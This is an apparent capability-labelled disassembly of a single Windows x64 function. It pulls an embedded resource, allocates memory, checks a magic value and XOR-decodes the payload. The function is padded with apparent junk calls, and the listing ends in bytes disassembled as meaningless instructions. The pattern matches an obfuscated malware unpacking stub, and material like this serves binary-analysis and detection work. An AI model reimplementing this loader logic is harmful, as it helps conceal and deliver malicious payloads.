Function at 0x140002d90
Capabilities:
Encode data using xor
Extract resource via kernel32 functions

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0xc8
mov rdi, rcx
mov r12, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x1400071d0], r12
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [0x1400071d8], rax
mov edx, 0x6f
mov r8d, 0xa
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov rcx, rdi
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rsp + 0x34], eax
mov rcx, rdi
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rsp + 0x98], rax
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
mov ebx, dword [rsp + 0x34]
mov r8d, 0xad
mov rcx, rbx
mov edx, esi
call fcn.140002bc0
mov r15, rax
mov ecx, 0x1000
call fcn.140002bc0
mov rdi, rax
mov qword [rsp + 0x20], 0xb0
mov ecx, 4
mov r8d, 0x6d
mov edx, esi
mov r9d, esi
call fcn.140002bc0
xor ecx, ecx
mov rdx, r15
mov r8d, edi
mov r9d, eax
call r12
mov qword [rsp + 0x38], rax
mov rcx, qword [rsp + 0x38]
mov rdx, r14
mov r8, rbx
call fcn.140002b90
mov rdi, qword [rsp + 0x38]
mov edx, 0x74
xor ecx, ecx
mov r8d, esi
mov r9d, esi
call fcn.140002bc0
mov ecx, dword [rsp + 0x34]
test rdi, rdi
je 0x140003246
cmp ecx, eax
je 0x140003246
mov ecx, 5
mov edx, 0x1e
call fcn.140002bc0
mov ecx, dword [rsp + 0x34]
mov rdx, qword [rsp + 0x38]
mov qword [rsp + 0x50], rdx
cmp ecx, eax
jbe 0x140003294
mov rax, qword [rsp + 0x38]
mov esi, dword [rax]
mov dword [rsp + 0x20], esi
mov ecx, 0x2e786f72
mov r8d, 0xc1
mov edx, esi
mov r9d, esi
call fcn.140002bc0
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x50], rcx
cmp esi, eax
jne 0x140003294
mov rax, qword [rsp + 0x38]
add rax, 4
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
movzx eax, byte [rax]
mov byte [rsp + 0x33], al
movzx eax, byte [rsp + 0x33]
mov ecx, dword [rsp + 0x34]
sub ecx, eax
mov dword [rsp + 0x44], ecx
mov edx, 0x89
xor ecx, ecx
call fcn.140002bc0
mov rsi, rax
movzx ebx, byte [rsp + 0x33]
movzx edx, byte [rsp + 0x33]
mov qword [rsp + 0x20], 0xd
mov ecx, 4
mov r8d, 0x30
mov r9d, edx
call fcn.140002bc0
mov ecx, dword [rsp + 0x44]
cmp bl, sil
je 0x1400032a5
cmp ecx, eax
jle 0x1400032a5
movzx eax, byte [rsp + 0x33]
mov qword [rsp + 0x58], rax
mov ecx, 4
call fcn.140002bc0
add rax, qword [rsp + 0x58]
add rax, qword [rsp + 0x38]
mov qword [rsp + 0x48], rax
mov r8, qword [rsp + 0x58]
mov qword [rsp + 0x20], r8
mov qword [rsp + 0x28], 0xb5
mov ecx, 0xfffffffb
mov edx, 0x84
mov r9, r8
call fcn.140002bc0
mov rsi, rax
add esi, dword [rsp + 0x44]
mov ecx, 2
call fcn.140002bc0
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x50], rcx
cmp esi, eax
jb 0x140003294
mov qword [rsp + 0x20], 0x45
mov ecx, 0xfffffffc
mov edx, 0x9c
mov r8d, 0x8d
mov r9d, 0x22
call fcn.140002bc0
mov rsi, rax
add esi, dword [rsp + 0x44]
mov qword [rsp + 0xa0], rsi
mov ecx, 1
call fcn.140002bc0
xor ecx, ecx
cmp al, byte [rsp + 0x33]
adc rcx, 1
mov qword [rsp + 0xa8], rcx
mov ecx, 1
call fcn.140002bc0
and rax, qword [rsp + 0xa0]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x70], 2
cmp esi, 3
je 0x1400031e9
mov edx, 0x25e0318a
mov r8d, 0xdc
mov rcx, 0xfffffffffffffffe
call fcn.140002bc0
mov rsi, rax
add rsi, qword [rsp + 0xa0]
mov rcx, 0xfffffffffffffffe
mov rdx, rsi
mov r8, rsi
call fcn.140002bc0
and rax, rsi
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x88], 2
mov qword [rsp + 0x80], 0
xor r14d, r14d
nop dword [rax + rax]
mov r15, qword [rsp + 0x80]
mov r12, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x90]
cmp rsi, qword [rsp + 0x58]
mov ebx, 0
cmovb rbx, rsi
mov rax, qword [rsp + 0x48]
movzx ecx, byte [rax + r12]
mov rdx, qword [rsp + 0x60]
xor cl, byte [rdx + rbx]
mov byte [rax + r12], cl
mov ecx, 1
mov r8d, 0xe68658
mov rdx, rsi
mov r9, rsi
call fcn.140002bc0
mov rdi, rax
add rdi, rbx
mov qword [rsp + 0x20], rsi
mov ecx, 1
mov edx, 0x2a
mov r8d, 0x74
mov r9d, 0x45
call fcn.140002bc0
or rax, r12
cmp rdi, qword [rsp + 0x58]
cmovae rdi, r14
mov rcx, qword [rsp + 0x48]
movzx edx, byte [rcx + rax]
mov rbx, qword [rsp + 0x60]
xor dl, byte [rbx + rdi]
mov byte [rcx + rax], dl
mov qword [rsp + 0x20], rsi
mov ecx, 1
mov edx, 0xfcb019
mov r8d, 0x16
mov r9, rsi
call fcn.140002bc0
mov rsi, rax
add rsi, rdi
mov ecx, 2
mov edx, 0x267bba
mov r8d, 0x14
mov r9d, 0x47
call fcn.140002bc0
mov rdi, rax
add rdi, r12
mov ecx, 2
call fcn.140002bc0
add rax, r15
cmp rax, qword [rsp + 0xb8]
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x88], rdi
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x70], rdi
jne 0x1400030d0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x68], rax
mov r8, qword [rsp + 0x68]
mov qword [rsp + 0x20], r8
mov edx, 0xc6
xor ecx, ecx
mov r9, r8
call fcn.140002bc0
mov rcx, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0x48]
mov qword [rsp + 0x50], rdx
cmp rcx, rax
je 0x140003294
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jae 0x14000326c
mov rax, qword [rsp + 0x68]
jmp 0x14000326e
lea rdx, [0x140006230]
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
jmp qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0xc0]
movzx ebx, byte [rcx + rdx]
mov rdi, qword [rsp + 0x60]
xor bl, byte [rdi + rax]
mov byte [rcx + rdx], bl
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x50]
lea rdx, str.sa61vbGxs72usbK9rqanqa6ur7Svnw
call fcn.140001000
mov rcx, qword [rsp + 0x98]
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_FreeResource]
invalid
xchg ecx, eax
out dx, eax
cld
fdivr qword [rcx]
neg cl
cmp al, 0x8b
mov dh, 0xd8
push sp
fdiv st(7), st(0)
cmp byte [rcx + 0x6d], cl
sar byte [rcx + 0x6b], cl
jns case.0x1400032bd.8
invalid
cmp edi, esp
mov ebx, 0xa8b818ad
xlatb
jb 0x14000ca34
wait
nop
or r11, qword [r9]
pop rbx
push rsp
jmp qword [rbx + 0x1945aecd]
pop rbp
shr byte [0x1886e90f5], cl
sub edi, esp
pop rbx
rcr dword [rbx], 0xf0
xchg byte [rax], dl
mov qword [rax], rdx
sbb eax, dword [rbx - 5]
sti
sti
invalid
invalid
imul edi, dword [rdi], 0x33
invalid
invalid
retf
stc
pop rsi
invalid
in al, 0x27
invalid
mul byte fs:[rsp + rbp*4]
lodsb al, byte [rsi]
invalid
pop rdi
adc eax, 0x8a82caf
rol qword [rbp + rsi*8 - 0x14], cl
pop rcx
invalid
insd dword [rdi], dx
fstpnce st(3), st(0)
scasb al, byte [rdi]
jb 0x14000cb22
xor ah, 0x2e
leave
sbb dword [rbx], ebp
out 0x99, al
leave
cli
cmp dword [rbx - 0x3d43f8ec], 0x43
ret
jle 0x14000cb77
mov esi, 0x116aeeef
lodsd eax, dword [rsi]
fstpnce st(1), st(0)
or ecx, dword cs:[rcx - 0x5b]
movsd dword [rdi], dword [rsi]
xchg ebp, eax
not ebx
invalid
invalid
invalid
jle 0x14000cadb
retf
cmp edi, esi
insd dword [rdi], dx
neg byte [rdx]
sub al, 0xaa
jl 0x14000cbb3
jb 0x14000cb7c
add eax, dword [rcx + 2]
movabs dword [0x9df7480cf095ea93], eax
add spl, byte [r11 - 0xf6a156d]
or al, 0x48
neg dword [rbp + 0x2a1a7def]
out dx, eax
jge 0x14000cba1
sub cl, byte [rdi - 0x25]
mov esp, 0x7167f29f
leave
xchg ebx, eax
invalid
out dx, eax
jge 0x14000cba1
sub cl, byte [rdi - 0x25]
mov esp, 0x7167f29f
leave
idiv bl
rcl byte [rdi + 0x3c], 0x56
fdivr qword [rax]
invalid
frstor dword [rsi + 0x21cd9adc]
scasb al, byte [rdi]
jo 0x14000cb43
jne 0x14000cc1c
stosb byte [rdi], al
invalid
pop rdi
mov dl, 0x40
invalid
sti
jle 0x14000cb8a
rcr ebx, 0x3a
jrcxz 0x14000cbfc
cmpsb byte [rsi], byte [rdi]
sub al, 0x59
ficom dword [0x12bfea5a8]
invalid
invalid
mov bh, 0x21
mov dh, 0x92
jge 0x14000cbbf
push r8
cmc
idiv dword [rbp + rdi*8 - 1]
shr dword [rdx - 0x7d6fdde8], 0xc0
ja 0x14000cca0
sub al, 0xdb
lock adc al, byte [rcx]
out 0x68, al
invalid
retf 0xef48
mov r15d, 0xac5198bf
jge 0x14000cc69
movsb byte [rdi], byte [rsi]
mov bh, 0x3c
mov dh, 0xae
sub dword [rsi + 0x4f], esi
or eax, 0xd68a131b
mov fs, word [0xedd9dd55]
pop rdx
push rcx
popfq
ret 0x630b
invalid
invalid